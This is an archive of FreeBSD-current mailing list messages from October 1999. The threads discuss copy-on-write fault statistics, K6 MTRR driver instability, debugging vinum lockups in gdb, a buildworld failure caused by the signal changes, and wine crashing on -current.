mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 23: 1:33 1999 Delivered-To: freebsd-current@freebsd.org Received: from green.myip.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id BA8131507B for ; Fri, 29 Oct 1999 23:01:14 -0700 (PDT) (envelope-from green@FreeBSD.org) Received: from localhost ([127.0.0.1] ident=green) by green.myip.org with esmtp (Exim 3.02 #1) id 11hOxx-000Lao-00; Fri, 29 Oct 1999 23:14:06 -0400 Date: Fri, 29 Oct 1999 23:14:05 -0400 (EDT) From: Brian Fundakowski Feldman X-Sender: green@green.myip.org To: Alan Cox Cc: Bernd Walter , current@freebsd.org Subject: Re: copy-on-write optimized faults In-Reply-To: <19991029195243.E28768@cs.rice.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 29 Oct 1999, Alan Cox wrote: > Thanks to Bernd and everyone else who has responded. Unless someone > reports a case where the old "optimization" gets applied more often > than 1 in ten million copy-on-write faults, I'm going to remove > the old code in a few days. At this frequency, the cost of deciding > whether or not to apply the optimization on every copy-on-write fault > is greater than what is saved those 26 times it is applied. I get about 1.5PPM optimized COW faults: 7734278 copy-on-write faults 12 copy-on-write optimized faults -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 23: 1:52 1999 Delivered-To: freebsd-current@freebsd.org Received: from green.myip.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id AB66D14F29 for ; Fri, 29 Oct 1999 23:01:39 -0700 (PDT) (envelope-from green@FreeBSD.org) Received: from localhost ([127.0.0.1] ident=green) by green.myip.org with esmtp (Exim 3.02 #1) id 11hOrC-000La0-00; Fri, 29 Oct 1999 23:07:06 -0400 Date: Fri, 29 Oct 1999 23:07:05 -0400 (EDT) From: Brian Fundakowski Feldman X-Sender: green@green.myip.org To: Andrew Atrens Cc: current@freebsd.org Subject: Re: K6-III wrtalloc + mtrr support ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I disabled (or asked Peter to, actually) the K6-2+ MTRR driver a while back because with XFree86 3.9.16 (an alpha which uses MTRR support) it would cause memory corruption. It's very strange, and something I really haven't figured out... If you want to enable it, go ahead, but be very wary; if you do find out what's wrong, let me know. -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 23: 2: 6 1999 Delivered-To: freebsd-current@freebsd.org Received: from green.myip.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id AF20114F48 for ; Fri, 29 Oct 1999 23:01:54 -0700 (PDT) (envelope-from green@FreeBSD.org) Received: from localhost ([127.0.0.1] ident=green) by green.myip.org with esmtp (Exim 3.02 #1) id 11hRA8-000761-00; Sat, 30 Oct 1999 01:34:48 -0400 Date: Sat, 30 Oct 1999 01:34:46 -0400 (EDT) From: Brian Fundakowski Feldman X-Sender: green@green.myip.org To: Alfred Perlstein Cc: current@freebsd.org Subject: Re: crashdump in re lockups. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG If you did a kldstat (in gdb. Use Greg Lehey's .gdbinit* from vinum) and added the pertinent KLD as a symbol file correctly (also reference the .gdbinit*), you would probably get more useful output. Try that and let me know. FWIW, I have my CFLAGS + -g in the modules just as I have my kernel -g and installed with install.debug. This helps if you plan on debugging a module when it crashes. -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 23: 5: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by hub.freebsd.org (Postfix) with ESMTP id 2CF1D14F29 for ; Fri, 29 Oct 1999 23:04:56 -0700 (PDT) (envelope-from randy@psg.com) Received: from randy by rip.psg.com with local (Exim 3.03 #1) id 11hRdH-0002IZ-00 for freebsd-current@freebsd.org; Fri, 29 Oct 1999 23:04:55 -0700 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: FreeBSD Current Subject: Re: wl0 lockups and box crashes Message-Id: Date: Fri, 29 Oct 1999 23:04:55 -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>> great. then i have screwed up somehow. i do not think i changed anything >>> from how it ran in 4.0-current, but i must have. but what? >>> symptom is i can use it for a little while and then the system freezes. >>> so the basic configuration is correct, i.e. i am driving the hardware. >> I do have to mention that I did not do a great deal of testing, I had the >> card in the box for about a day and in that time I did not notice anything >> weird (no messages on the console and no noticeble performance loss). So >> it could be that if I ran for a longer time, problems would trip up. > i think i fixed it. i rebuilt all ports, including things like bind and > gated. it's only been a few hours, but no crash. well, it lasted six hours. back to debugging. randy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 23:42: 3 1999 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 483AB14F66; Fri, 29 Oct 1999 23:42:00 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id AAA11902; Sat, 30 Oct 1999 00:04:55 -0700 (PDT) Date: Sat, 30 Oct 1999 00:04:55 -0700 (PDT) From: Alfred Perlstein To: Brian Fundakowski Feldman Cc: current@FreeBSD.ORG, grog@FreeBSD.ORG Subject: Re: crashdump in re lockups. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 30 Oct 1999, Brian Fundakowski Feldman wrote: > If you did a kldstat (in gdb. Use Greg Lehey's .gdbinit* from vinum) and > added the pertinent KLD as a symbol file correctly (also reference > the .gdbinit*), you would probably get more useful output. Try > that and let me know. FWIW, I have my CFLAGS + -g in the modules > just as I have my kernel -g and installed with install.debug. This > helps if you plan on debugging a module when it crashes. ah! thank you very much! ok, the code that makes sure we aren't "overloaded" at vinumreqest.c 395 393 while ((drive->active >= DRIVE_MAXACTIVE) /* it has too much to do already, */ 394 ||(vinum_conf.active >= VINUM_MAXACTIVE)) /* or too many requests globally */ 395 tsleep(&launch_requests, PRIBIO | PCATCH, "vinbuf", I'm assuming that this code isn't executed in the context of the vinum daemon because the lockup tended to happen when I would hit ^C. Greg, you need to catch the error from tsleep and do something with it. :) This is where i'm getting nailed. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 3:24:52 1999 Delivered-To: freebsd-current@freebsd.org Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116]) by hub.freebsd.org (Postfix) with ESMTP id B367714CBA for ; Sat, 30 Oct 1999 03:24:48 -0700 (PDT) (envelope-from freebsd-current@scc.nl) Received: (from daemon@localhost) by mail.scc.nl (8.9.3/8.9.3) id MAA86613 for current@FreeBSD.org; Sat, 30 Oct 1999 12:12:37 +0200 (CEST) (envelope-from freebsd-current@scc.nl) Received: from GATEWAY by dwarf.hq.scc.nl with netnews for current@FreeBSD.org (current@FreeBSD.org) To: current@FreeBSD.org Date: Sat, 30 Oct 1999 12:12:29 +0200 From: Marcel Moolenaar Message-ID: <381AC48D.EC596821@scc.nl> Organization: SCC vof Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit References: , Subject: Re: -stable to -current Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug White wrote: > On Fri, 29 Oct 1999, Ben Rosengart wrote: > > On Fri, 29 Oct 1999, Doug White wrote: > > > I still hate the way the signal change was handled. > > How would you have done it differently? As I understand it, the pain > > was more or less inevitable. > > Perhaps, but there must be a way to keep gcc from dying. Yes. Don't build a gcc as part of make world that uses the new syscalls (because it is build and linked against the *new* headers and *new* libraries) on a system where the kernel does not have the new syscalls itself. > I don't fully understand the mechanics involved so I will shut up until I > teach myself about the syscall handling and concoct a better solution :) It's not the syscalls that are at fault here. It's `make {build}world'. The sigset_t change was a trigger, not a bug :-) -- Marcel Moolenaar mailto:marcel@scc.nl SCC Internetworking & Databases http://www.scc.nl/ The FreeBSD project mailto:marcel@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 4:32:41 1999 Delivered-To: freebsd-current@freebsd.org Received: from venus.GAIANET.NET (venus.GAIANET.NET [207.211.200.51]) by hub.freebsd.org (Postfix) with ESMTP id A10C414DEB for ; Sat, 30 Oct 1999 04:32:37 -0700 (PDT) (envelope-from vince@venus.GAIANET.NET) Received: from localhost (vince@localhost) by venus.GAIANET.NET (8.9.3/8.9.3) with ESMTP id EAA26282 for ; Sat, 30 Oct 1999 04:32:26 -0700 (PDT) (envelope-from vince@venus.GAIANET.NET) Date: Sat, 30 Oct 1999 04:32:26 -0700 (PDT) From: Vincent Poy To: FreeBSD-current@FreeBSD.ORG Subject: -current build fails Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG echo '#include "i386/att.h"' >> tm.h echo '#include "i386/freebsd.h"' >> tm.h echo '#include "i386/perform.h"' >> tm.h cc -c -O -pipe -I/usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/config -I/usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc -I. -fexceptions -DIN_GCC -I/usr/obj/usr/src/tmp/usr/include -DL_mulsi3 -o _mulsi3.o /usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c *** Signal 12 Stop in /usr/src/gnu/lib/libgcc. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. Any ideas? Cheers, Vince - vince@MCESTATE.COM - vince@GAIANET.NET ________ __ ____ Unix Networking Operations - FreeBSD-Real Unix for Free / / / / | / |[__ ] GaiaNet Corporation - M & C Estate / / / / | / | __] ] Beverly Hills, California USA 90210 / / / / / |/ / | __] ] HongKong Stars/Gravis UltraSound Mailing Lists Admin /_/_/_/_/|___/|_|[____] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 4:55:45 1999 Delivered-To: freebsd-current@freebsd.org Received: from pawn.primelocation.net (pawn.primelocation.net [205.161.238.235]) by hub.freebsd.org (Postfix) with ESMTP id 53BAC15089 for ; Sat, 30 Oct 1999 04:55:42 -0700 (PDT) (envelope-from jedgar@fxp.org) Received: from earth.fxp (oca-p2-104.hitter.net [207.192.76.104]) by pawn.primelocation.net (Postfix) with ESMTP id 5566C9B22; Sat, 30 Oct 1999 07:55:40 -0400 (EDT) Date: Sat, 30 Oct 1999 07:55:39 -0400 (EDT) From: "Chris D. Faulhaber" X-Sender: jedgar@earth.fxp To: Vincent Poy Cc: FreeBSD-current@FreeBSD.ORG Subject: Re: -current build fails In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 30 Oct 1999, Vincent Poy wrote: > /usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c > *** Signal 12 > Read /usr/src/UPDATING (19990929 entry) and build/install a new kernel before making world ----- Chris D. Faulhaber | All the true gurus I've met never System/Network Administrator, | claimed they were one and always Reality Check Information, Inc. | pointed to someone better. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 5:16:50 1999 Delivered-To: freebsd-current@freebsd.org Received: from venus.GAIANET.NET (venus.GAIANET.NET [207.211.200.51]) by hub.freebsd.org (Postfix) with ESMTP id 4107914C3B for ; Sat, 30 Oct 1999 05:16:46 -0700 (PDT) (envelope-from vince@venus.GAIANET.NET) Received: from localhost (vince@localhost) by venus.GAIANET.NET (8.9.3/8.9.3) with ESMTP id FAA26415; Sat, 30 Oct 1999 05:16:32 -0700 (PDT) (envelope-from vince@venus.GAIANET.NET) Date: Sat, 30 Oct 1999 05:16:32 -0700 (PDT) From: Vincent Poy To: "Chris D. Faulhaber" Cc: FreeBSD-current@FreeBSD.ORG Subject: Re: -current build fails In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 30 Oct 1999, Chris D. Faulhaber wrote: > On Sat, 30 Oct 1999, Vincent Poy wrote: > > > /usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c > > *** Signal 12 > > > > Read /usr/src/UPDATING (19990929 entry) and build/install a new kernel > before making world Hmmm, I can understand the build/install portion but will it boot since one machine is -CURRENT from 3/99 and the other is 3.3-RELEASE. Cheers, Vince - vince@MCESTATE.COM - vince@GAIANET.NET ________ __ ____ Unix Networking Operations - FreeBSD-Real Unix for Free / / / / | / |[__ ] GaiaNet Corporation - M & C Estate / / / / | / | __] ] Beverly Hills, California USA 90210 / / / / / |/ / | __] ] HongKong Stars/Gravis UltraSound Mailing Lists Admin /_/_/_/_/|___/|_|[____] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 6:26:20 1999 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id A1C1514C8C for ; Sat, 30 Oct 1999 06:26:03 -0700 (PDT) (envelope-from jhay@zibbi.mikom.csir.co.za) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.9.3/8.9.3) id PAA82688 for current@freebsd.org; Sat, 30 Oct 1999 15:26:00 +0200 (SAT) (envelope-from jhay) From: John Hay Message-Id: <199910301326.PAA82688@zibbi.mikom.csir.co.za> Subject: anyone have wine working? To: current@freebsd.org Date: Sat, 30 Oct 1999 15:26:00 +0200 (SAT) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there anyone that have wine working on -current? I have tried old binaries of wine that I have compiled and used a few months ago on -current and have recompiled them (99.07.31) and have also tried the latest (99.09.23), but they all just coredump. It did work a few months ago, so I would guess that it might be our signal changes. :-) The output of gdb looks like this: -------------------- Core was generated by `wine'. Program terminated with signal 4, Illegal instruction. #0 0x80602ce in __regs_RtlRaiseException () (gdb) bt #0 0x80602ce in __regs_RtlRaiseException () #1 0x8060828 in EXC_segv () #2 0xbfbfdfac in ?? () #3 0x8060828 in EXC_segv () #4 0xbfbfdfac in ?? () #5 0x8060828 in EXC_segv () #6 0xbfbfdfac in ?? () #7 0x8060828 in EXC_segv () #8 0xbfbfdfac in ?? () #9 0x8060828 in EXC_segv () #10 0xbfbfdfac in ?? () #11 0x8060828 in EXC_segv () #12 0xbfbfdfac in ?? () ... #2525 0x8060828 in EXC_segv () #2526 0xbfbfdfac in ?? () #2527 0x8060828 in EXC_segv () #2528 0xbfbfdfac in ?? () #2529 0x8060828 in EXC_segv () #2530 0xbfbfdfac in ?? () #2531 0x8060828 in EXC_segv () #2532 0xbfbfdfac in ?? () #2533 0x8060a4b in EXC_int () #2534 0xbfbfdfac in ?? () #2535 0x8126e2c in server_call () #2536 0x8129e3f in WaitForMultipleObjectsEx () #2537 0x8129882 in SERVICE_Loop () #2538 0x812ab42 in THREAD_Start () #2539 0x8129f6b in SYSDEPS_StartThread () #2540 0x0 in ?? () ----------- John -- John Hay -- John.Hay@mikom.csir.co.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 7:33:45 1999 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 3EC0814E48 for ; Sat, 30 Oct 1999 07:33:42 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@d60-025.leach.ucdavis.edu [169.237.60.25]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id HAA07835; Sat, 30 Oct 1999 07:33:38 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id HAA19667; Sat, 30 Oct 1999 07:33:38 -0700 (PDT) (envelope-from obrien) Date: Sat, 30 Oct 1999 07:33:37 -0700 From: "David O'Brien" To: Vincent Poy Cc: FreeBSD-current@FreeBSD.ORG Subject: Re: -current build fails Message-ID: <19991030073337.A19646@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from vince@venus.GAIANET.NET on Sat, Oct 30, 1999 at 04:32:26AM -0700 X-Operating-System: FreeBSD 4.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > -I/usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc -I. -fexceptions > -DIN_GCC -I/usr/obj/usr/src/tmp/usr/include -DL_mulsi3 -o _mulsi3.o > /usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c > *** Signal 12 ...snip... > Any ideas? YES. DELETE, YES DELETE, CURRENT FROM YOUR MACHINE since you are unpreparied to run it. When you have the TIME TO READ the freebsd-current mailing list then run it again. RTFML (and I'm starting to TRUELY hope that people stop answering this question other than pointing them to the list archive). -- -- David (obrien@NUXI.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 9:54:55 1999 Delivered-To: freebsd-current@freebsd.org Received: from arnold.neland.dk (mail.neland.dk [194.255.12.232]) by hub.freebsd.org (Postfix) with ESMTP id 5B87314C36 for ; Sat, 30 Oct 1999 09:54:46 -0700 (PDT) (envelope-from leif@neland.dk) Received: from gina (gina.neland.dk [192.168.0.14]) by arnold.neland.dk (8.9.3/8.9.3) with SMTP id SAA65305; Sat, 30 Oct 1999 18:54:29 +0200 (CEST) (envelope-from leif@neland.dk) Message-ID: <01d501bf22f7$75a55820$0e00a8c0@neland.dk> From: "Leif Neland" To: "Alan Cox" , References: <19991029144743.Z16685@cs.rice.edu> Subject: Sv: copy-on-write optimized faults Date: Sat, 30 Oct 1999 18:54:07 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I would appreciate it if people running -current would run a "vmstat = -s" > and tell me if they see a NON-ZERO value for copy-on-write optimized > faults. About six months ago, I implemented a simpler and more = general > optimization at an earlier "fork in the road". (In effect, I avoid > the creation of the redundant vm object that "copy-on-write > optimized faults" applies to.) >=20 FreeBSD ns.internet.dk 3.3-STABLE FreeBSD 3.3-STABLE #6: Fri Oct 1 = 16:06:46 CEST 1999 root@neland.dk:/usr/src/sys/compile/DK i386 0 swap pager pageins 0 swap pager pages paged in 0 swap pager pageouts 0 swap pager pages paged out 15535 vnode pager pageins 36906 vnode pager pages paged in 1 vnode pager pageouts 1 vnode pager pages paged out 288 page daemon wakeups 443092 pages examined by the page daemon 3784 pages reactivated 9272885 copy-on-write faults 2062637 copy-on-write optimized faults <; Sat, 30 Oct 1999 09:55:59 -0700 (PDT) (envelope-from sobomax@altavista.net) Received: from altavista.net (dialup5-2.iptelecom.net.ua [212.42.75.2]) by ipt2.iptelecom.net.ua (8.9.3/8.9.3) with ESMTP id TAA06938; Sat, 30 Oct 1999 19:58:25 +0300 (EEST) Message-ID: <381B22C6.24F104A@altavista.net> Date: Sat, 30 Oct 1999 19:54:30 +0300 From: Maxim Sobolev Organization: Home, sweet home X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: John Hay Cc: current@FreeBSD.ORG Subject: Re: anyone have wine working? References: <199910301326.PAA82688@zibbi.mikom.csir.co.za> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Hay wrote: > Is there anyone that have wine working on -current? > > I have tried old binaries of wine that I have compiled and used a few > months ago on -current and have recompiled them (99.07.31) and have > also tried the latest (99.09.23), but they all just coredump. It did > work a few months ago, so I would guess that it might be our signal > changes. :-) I have wine working reasonably well on my -current system (latest cvs wine snapshot). -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 10:42:32 1999 Delivered-To: freebsd-current@freebsd.org Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14]) by hub.freebsd.org (Postfix) with ESMTP id 3ECAE14A26; Sat, 30 Oct 1999 10:42:26 -0700 (PDT) (envelope-from atrens@nortelnetworks.com) Received: from zcars01t by smtprch1.nortel.com; Sat, 30 Oct 1999 12:40:03 -0500 Received: from hcarp00g.ca.nortel.com by zcars01t; Sat, 30 Oct 1999 13:39:59 -0400 Received: from hcarp00g.ca.nortel.com (hcarp00g.ca.nortel.com [47.196.31.114]) by hcarp00g.ca.nortel.com (8.9.3/8.7.3) with ESMTP id NAA68115; Sat, 30 Oct 1999 13:43:09 -0400 (EDT) Date: Sat, 30 Oct 1999 13:43:09 -0400 (EDT) From: "Andrew Atrens" X-Sender: atrens@hcarp00g.ca.nortel.com Reply-To: "Andrew Atrens" To: Brian Fundakowski Feldman Cc: current@freebsd.org Subject: Re: K6-III wrtalloc + mtrr support ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 29 Oct 1999, Brian Fundakowski Feldman wrote: > > I disabled (or asked Peter to, actually) the K6-2+ MTRR driver a while > back because with XFree86 3.9.16 (an alpha which uses MTRR support) it > would cause memory corruption. It's very strange, and something I > really haven't figured out... If you want to enable it, go ahead, but > be very wary; if you do find out what's wrong, let me know. I remember this now, I was one of those that got bit by this problem. What I recall is that MTRR support made a dramatic speed improvement, but alas was _extremely_ unstable. That was when I had an ATI Expert@Work card. Since then I've gotten a 3dfx Voodoo3, perhaps this card might be more stable? So Brian, how do I switch this back on ? On the other topic - write allocation - should I be seeing an indication of its status in the boot up messages ? Hmm, I guess I could just UTSL on this one :) ... Andrew. -- +-- | Andrew Atrens Nortel Networks, Ottawa, Canada. | | All opinions expressed are my own, not those of any employer. | --+ Heller's Law: The first myth of management is that it exists. Johnson's Corollary: Nobody really knows what is going on anywhere within the organization. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 11:11:10 1999 Delivered-To: freebsd-current@freebsd.org Received: from neptune.psn.net (neptune.psn.net [207.211.58.16]) by hub.freebsd.org (Postfix) with ESMTP id C73FA1505E for ; Sat, 30 Oct 1999 11:11:04 -0700 (PDT) (envelope-from will@shadow.blackdawn.com) Received: from 5042-243.008.popsite.net ([209.224.140.243] helo=shadow.blackdawn.com) by neptune.psn.net with esmtp (PSN Internet Service 2.12 #3) id 11hcxx-0005Bg-00; Sat, 30 Oct 1999 11:11:02 -0700 Received: (from will@localhost) by shadow.blackdawn.com (8.9.3/8.9.3) id OAA16941; Sat, 30 Oct 1999 14:10:59 -0400 (EDT) (envelope-from will) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sat, 30 Oct 1999 14:10:59 -0400 (EDT) Reply-To: Will Andrews From: Will Andrews To: Vincent Poy Subject: Re: -current build fails Cc: FreeBSD-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 30-Oct-99 Vincent Poy wrote: > Hmmm, I can understand the build/install portion but will it boot > since one machine is -CURRENT from 3/99 and the other is 3.3-RELEASE. I highly advise that you read the last month's archive of the -current mailing list archives: http://docs.FreeBSD.ORG/mail/archive/1999/freebsd-current/. Read ALL the messages. Oh, and update your -CURRENT. A -CURRENT machine with sources from March 1999 indicates you're not running a machine in sync with the purpose of -CURRENT. Use -STABLE instead. -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 11:13:12 1999 Delivered-To: freebsd-current@freebsd.org Received: from freesbee.wheel.dk (freesbee.wheel.dk [193.162.159.97]) by hub.freebsd.org (Postfix) with ESMTP id CB4671505E for ; Sat, 30 Oct 1999 11:13:08 -0700 (PDT) (envelope-from jesper@skriver.dk) Received: by freesbee.wheel.dk (Postfix, from userid 1001) id 5EFDB3E30; Sat, 30 Oct 1999 20:13:08 +0200 (CEST) Date: Sat, 30 Oct 1999 20:13:08 +0200 From: Jesper Skriver To: Leif Neland Cc: Alan Cox , current@FreeBSD.ORG Subject: Re: copy-on-write optimized faults Message-ID: <19991030201308.A4005@skriver.dk> References: <19991029144743.Z16685@cs.rice.edu> <01d501bf22f7$75a55820$0e00a8c0@neland.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <01d501bf22f7$75a55820$0e00a8c0@neland.dk>; from leif@neland.dk on Sat, Oct 30, 1999 at 06:54:07PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Oct 30, 1999 at 06:54:07PM +0200, Leif Neland wrote: > > > > I would appreciate it if people running -current would run a "vmstat -s" > > and tell me if they see a NON-ZERO value for copy-on-write optimized > > faults. About six months ago, I implemented a simpler and more general > > optimization at an earlier "fork in the road". (In effect, I avoid > > the creation of the redundant vm object that "copy-on-write > > optimized faults" applies to.) > > > FreeBSD ns.internet.dk 3.3-STABLE FreeBSD 3.3-STABLE #6: Fri Oct 1 16:06:46 CEST 1999 root@neland.dk:/usr/src/sys/compile/DK i386 [cut] > 2062637 copy-on-write optimized faults < I must have something configured wrong, or??? No, but you didn't read Allan's original posting, the change only applied to -CURRENT, your box is running -STABLE ... /Jesper -- Jesper Skriver (JS4261-RIPE), Network manager Tele Danmark DataNet, IP section (AS3292) One Unix to rule them all, One Resolver to find them, One IP to bring them all and in the zone to bind them. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 11:16: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from venus.GAIANET.NET (venus.GAIANET.NET [207.211.200.51]) by hub.freebsd.org (Postfix) with ESMTP id 405BB1505E for ; Sat, 30 Oct 1999 11:16:01 -0700 (PDT) (envelope-from vince@venus.GAIANET.NET) Received: from localhost (vince@localhost) by venus.GAIANET.NET (8.9.3/8.9.3) with ESMTP id LAA01216; Sat, 30 Oct 1999 11:15:57 -0700 (PDT) (envelope-from vince@venus.GAIANET.NET) Date: Sat, 30 Oct 1999 11:15:57 -0700 (PDT) From: Vincent Poy To: Will Andrews Cc: FreeBSD-current@FreeBSD.ORG Subject: Re: -current build fails In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 30 Oct 1999, Will Andrews wrote: > On 30-Oct-99 Vincent Poy wrote: > > Hmmm, I can understand the build/install portion but will it boot > > since one machine is -CURRENT from 3/99 and the other is 3.3-RELEASE. > > I highly advise that you read the last month's archive of the -current mailing > list archives: 